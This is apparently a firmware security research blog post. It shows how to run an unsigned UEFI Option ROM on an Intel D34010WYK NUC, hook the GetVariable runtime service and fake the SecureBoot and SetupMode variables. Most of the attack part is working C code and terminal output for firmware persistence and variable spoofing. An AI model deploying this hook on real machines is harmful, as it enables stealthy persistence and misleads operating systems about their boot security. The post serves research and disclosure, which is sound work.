Executing custom Option ROM on D34010WYK and persisting code in UEFI Runtime Services
In this post we’ll explore running unsigned Option ROM code on an Intel D34010WYK NUC, solely for testing purposes. We will verify that unsigned/unverified Option ROM code is not run when UEFI Secure Boot is enabled. We will demonstrate how to persist code at runtime using UEFI Runtime Services, and use a small signalling protocol to allow an unprivileged userland process to fake the contents of UEFI variables such as the SecureBoot variable.
This is a continuation of a previous post, Using an Option ROM to overwrite SMI handlers in QEMU. Please review the content and the referenced source materials as well as the following source materials for additional context:
The code and examples in this post, which are run on bare metal UEFI platforms, assume UEFI Secure Boot is disabled. If a UEFI production BIOS implements Secure Boot correctly then unsigned/unverified Option ROMs should not execute. Note that in the previous post the OVMF platform run in QEMU disables verification for Option ROMs by setting PcdOptionRomImageVerificationPolicy|0x0
.
Create a toy Option ROM using the EDKII
In the previous post we used a modified iPXE as a starting point for our Option ROM code. This time we will use the EDK. For example, create a new folder and file called MyOptionRom
within the EDKII source tree with the following code:
EFI_STATUS
EFIAPI
MyOptionRomEntry (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
(void)ImageHandle;
(void)SystemTable;
DEBUG((EFI_D_INFO, "MyOptionRom loaded\n"));
Print(L"MyOptionRom loaded\n");
return EFI_SUCCESS;
}
EFI_STATUS
EFIAPI
MyOptionRomUnload (
IN EFI_HANDLE ImageHandle
)
{
(void)ImageHandle;
return EFI_SUCCESS;
}
The above skeleton code is printing a trace to the debug console and any ConOut
configured. This is helpful in combination with the UEFI Shell’s loadpcirom
command. Use this command before flashing Option ROM code to test that it does not halt/fault the system. ;)
Next, add the INF to OvmfPkg/OvmfPkgIa32X64.dsc
’s [Components.X64]
section to build; and finally, use the EfiRom
tool to create an EFI-type Option ROM.
$ ./BaseTools/Source/C/bin/EfiRom \
-f 0x$VENDOR -i 0x$PRODUCT -v --debug 9 \
-o ./Build/MyOptionRom.efirom \
-e ./Build/Ovmf3264/DEBUG_GCC5/X64/MyOptionRom.efi
Run an Option ROM on an Intel NUC
In this example I wanted to write Option ROM code to a PCI card and run it on bare metal. I do not have many bare metal machines beyond a gaming desktop and an outdated D34010WYK NUC (thus the rational for using the NUC). Unfortunately, the NUC’s onboard Video Card and NIC do not have writeable Option ROM storage, the PCI devices are as follows:
$ lspci -n
00:00.0 0600: 8086:0a04 (rev 09)
00:02.0 0300: 8086:0a16 (rev 09)
00:03.0 0403: 8086:0a0c (rev 09)
00:14.0 0c03: 8086:9c31 (rev 04)
00:16.0 0780: 8086:9c3a (rev 04)
00:19.0 0200: 8086:1559 (rev 04)
00:1b.0 0403: 8086:9c20 (rev 04)
00:1d.0 0c03: 8086:9c26 (rev 04)
00:1f.0 0601: 8086:9c43 (rev 04)
00:1f.2 0106: 8086:9c03 (rev 04)
00:1f.3 0c05: 8086:9c22 (rev 04)
The 8086:1559 Intel NIC does not support upgradable firmware or storage for an Option ROM. Though I tired with Intel’s Intel(R) Ethernet Flash Firmware Utility just in case. For others wanting to test, the utility’s bootutil64e
is able to write Option ROM to support PXE loading on several NIC devices.
The 8086:0a16 Intel Video Card uses a virtual Option ROM. These are stored with the UEFI platform code and loaded into memory from the system’s flash storage. The Option ROM code is not stored on the PCI onboard storage.
This means out of the box there are no R/W Option ROM on any of the PCI devices on the D34010WYK.
There is still hope for testing Option ROM as the D34010WYK NUC has has two expandable mPCI-E slots. I am not aware of off-the-shelf or purchasable debug mPCI wifi/bluetooth cards having expansion ROMs but we can use a mPCI-E to PCI-E 1x adapter and a Broadcom BCM5751 PCI-E 1x NIC. If you have a 5th generation (or other) NUC you may be able to take a similar approach with a M.2 to PCI-E adapter.
$ lspci -v
[...]
02:00.0 0200: 14e4:1677 (rev 20)
Subsystem: 14e4:1677
Flags: bus master, fast devsel, latency 0, IRQ 51
Memory at f7c10000 (64-bit, non-prefetchable) [size=64K]
Expansion ROM at f7c00000 [disabled] [size=64K]
Capabilities:
Kernel driver in use: tg3
Kernel modules: tg3
Putting these together looks a little hackey, but thankfully the card does not need an additional 12V:
D34010WYK NUC with mPCI-E to PCI-E 1x adapter and Broadcom BCM5751 (14e4:1677)
The BCM5751’s 64kB flash can be safely written using Broadcom’s B57udiag tool, for example following iPXE’s burning guide. It may be possible to write your Option ROM using ethtool
but not safely so be careful.
Heads up, the Option ROM output from EfiRom
, like the XROMs in the previous post, are type EFI (0x3) and the NUC platform code will only run these if CSM is disabled. I searched the Setup’s IFR and saw options, “Launch PXE OpROM Policy”, “Launch Storage OpROM Policy” and similar that allowed running EFI-type XROMs in CSM mode. But these are not available in the Setup UI.
Additionally, I could not find a way to disable loading Option ROMs through Setup configuration. But when UEFI Secure Boot is enabled any unsigned/unverified Option ROMs will not load (this is great!).
We can see that our Option ROM is loaded and measured by observing changes to the TPM’s PCR 2. The base comparison is using a BIOS version WYLPT10H.86A.0054.2019.0902.1752.
$ sudo tpm2_pcrlist
sha1 :
0 : 0xCEAE0E6DC5A21B75D58171961D315E96326178D3 // Platform
1 : 0x48A8708AC544F8411A9D5FF114A4E51E7A4C1041 // Platform Config
2 : 0x9676BCB349D9D31493B52CA6007CB3706334798E // Option ROM Code
3 : 0xB2A83B0EBF2F8374299A5B2BDFC31EA955AD7236 // Option ROM Config+Data
4 : 0x9542780BC3517B84298563A2EF280139DF33B915 // IPL Code
5 : 0xBFC7CE73BC3595FBC323F2B4EE1B56B86947ED23 // IPL Config+Datsa
6 : 0xB2A83B0EBF2F8374299A5B2BDFC31EA955AD7236
7 : 0xF97A28075F83A5474515E50F2A504C6E271533D3
[...]
9 : 0xA78714D017777270C295B446A12A7FC5961D3167
[...]
And diffing before and after overwriting the Option ROM shows that PCR 2 measures the new code.
$ diff before-xrom after-xrom
< 2 : 0x9676BCB349D9D31493B52CA6007CB3706334798E
---
> 2 : 0x257C9F0CDA97A0CCEB6F3B7CE92F8BD51F589387
Communicating with userland using UEFI Runtime Services
Now that we have our toy Option ROM running on the NUC with Secure Boot disabled, what can we do? In the previous post we relaxed security of the OVMF platform by allowing our Option ROM to run before EndOfDXE
and persisting in SMM; we cannot do that with the NUC’s production UEFI so we instead turn to UEFI Runtime Services to persist code.
The goals are as follows:
- Use the Option ROM to persist code in UEFI Runtime Services
- Allow an unprivileged userland process to communicate with our code
- Do something interesting that has security impact
Keep in mind that a malicious Option ROM can do much more than persist code, for example it can overwrite content on attached storage.
My solution is again to trampoline the code that retrieves UEFI variables. An unprivileged process can attempt a read of a variable and this attempt will call the Runtime Services GetVariable
API.
Consider the following code as part of the implementation of our Option ROM entry point:
EFI_BOOT_SERVICES *gBS = NULL;
gBS = SystemTable->BootServices
VOID *handler = NULL;
gBS->AllocatePool(EfiRuntimeServicesCode, 0x1000, &handler);
If (handler != NULL) {
// Move our Option ROM code into RT_CODE
gBS->CopyMem((void*)handler, HijackedGetVariable, 0x1000);
// TODO: Save gRT->GetVariable
// gRT is the Runtime Services table
gRT->GetVariable = handler;
}
The HijackedGetVariable
handler will trampoline into the original GetVariable
; and code in the EfiRuntimeServicesCode
map will be relocated for us by the OS. Saving the existing GetVariable
location is a bit more challenging. In the previous post the SMI trampoline was easy as the SMM dispatcher supported falling back to a backup handler so no state was maintained within our code.
The state maintenance referenced above is also needed to implement communication with our code and userspace.
For context, an unprivileged user cannot read an arbitrary UEFI variable, but rather only the variables exposed by the sysfs efivars
filesystem. To communicate with our code, we have to invent a hacky protocol involving reading well-known variable names in sequence, sort of a variable-read side-channel. This protocol requires maintaining state between variable reads.
To maintain state we will reserve a region in RT_DATA and overwrite part of HijackedGetVariable
with the location of reserved memory. We will overwrite a canary value such that the trampolined logic becomes:
EFI_STATUS
EFIAPI
HijackedGetVariable(
IN CHAR16 *VariableName,
IN EFI_GUID *VendorGuid,
OUT UINT32 *Attributes, OPTIONAL
IN OUT UINTN *DataSize,
OUT VOID *Data OPTIONAL
)
{
// Our canary value
UINT64 replace_me = 0xab12ab12;
// Expect the canary to be overwritten in GetVariable install
if (replace_me == 0x0 || replace_me == 0xab12ab12) {
// We could not find the data
return (EFI_STATUS)0x3;
}
MyOptionRomData *data = (MyOptionRomData*)replace_me;
// Use data, for example count the number of times VariableName was requested
[...]
// Fall through to the original GetVariable
UINT32 DupAttributes = 0;
UINTN DupDataSize = *DataSize;
Status = data->GetVariable(
VariableName,
VendorGuid,
&DupAttributes,
&DupDataSize,
Data
);
if (Attributes != NULL) {
*Attributes = DupAttributes;
}
*DataSize = DupDataSize;
return Status;
}
The GetVariable
install code is then modified to allocate the Runtime Services data and fixup the relocated code with the position of this data structure.
// Fill in the above TODO with:
MyOptionRomData *data = NULL;
gBS->AllocatePool(EfiRuntimeServicesData, sizeof(MyOptionRomData), (VOID**)&data);
If (data == NULL) {
// Handle unlikely error state
}
unsigned char *search = (unsigned char *)handler
for (INTN i = 0; i < 100; i++) {
// Search for canary value
if (search[i] == 0x12 && search[i+1] == 0xab &&
search[i+2] == 0x12 && search[i+3] == 0xab) {
search[i] = ((unsigned char *)(&data))[0];
search[i+1] = ((unsigned char *)(&data))[1];
search[i+2] = ((unsigned char *)(&data))[2];
search[i+3] = ((unsigned char *)(&data))[3];
break;
}
}
// Remember the original GetVariable location
data->GetVariable = gRT->GetVariable;
Now imagine adding several counters to MyOptionRomData
and implementing two states. The first is triggered by reading BootCurrent
ten times consecutively and this disables or enables GetVariable
functionality; the second is triggered by reading Boot0002
and overrides the return of SecureBoot
to return 0x1
or allow the code to fall through into the trampoline.
Thus we can introduce simple security impact with this trampoline by faking / masking any GetVariable
request, for example tricking the OS that it is running in UEFI Secure Boot mode.
Below is another toy example testing the state maintainace to on-command trigger disabling GetVariable
functionality.
[fedora@localhost ~]$ hexdump -C /sys/firmware/efi/efivars/BIOSVer-78f1f0c7-c017-4712-ba1d-70e823b11df8
00000000 07 00 00 00 36 00 |....6.|
00000006
[fedora@localhost ~]$ ./getvariable_call --test
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Now try to read any variable in /sys/firmware/efi/efivars/
[fedora@localhost ~]$ hexdump -C /sys/firmware/efi/efivars/BIOSVer-78f1f0c7-c017-4712-ba1d-70e823b11df8
00000000 00 00 00 00 |....|
00000004
And finally to “spoof” that Secure Boot is enabled when it is not we return 0x1
for SecureBoot
and 0x0
for SetupMode
with the code below, note that this does not yet work for Windows (only tested on Fedora).
[...]
// Fall through to the original GetVariable
UINT32 DupAttributes = 0;
UINTN DupDataSize = *DataSize;
Status = data->GetVariable(
VariableName,
VendorGuid,
&DupAttributes,
&DupDataSize,
Data
);
if (Attributes != NULL) {
*Attributes = DupAttributes;
}
*DataSize = DupDataSize;
CHAR8* DataArr = (CHAR8*)Data;
if (VariableName != NULL &&
VariableName[0] == 'S' &&
VariableName[1] == 'e' &&
VariableName[2] == 'c' &&
VariableName[3] == 'u') {
// Turn on SecureBoot
DataArr[0] = 0x1;
*DataSize = 1;
Status = EFI_SUCCESS;
}
if (VariableName != NULL &&
VariableName[0] == 'S' &&
VariableName[1] == 'e' &&
VariableName[2] == 't' &&
VariableName[3] == 'u') {
// Turn off SetupMode
DataArr[0] = 0x0;
*DataSize = 1;
Status = EFI_SUCCESS;
}
return Status;
}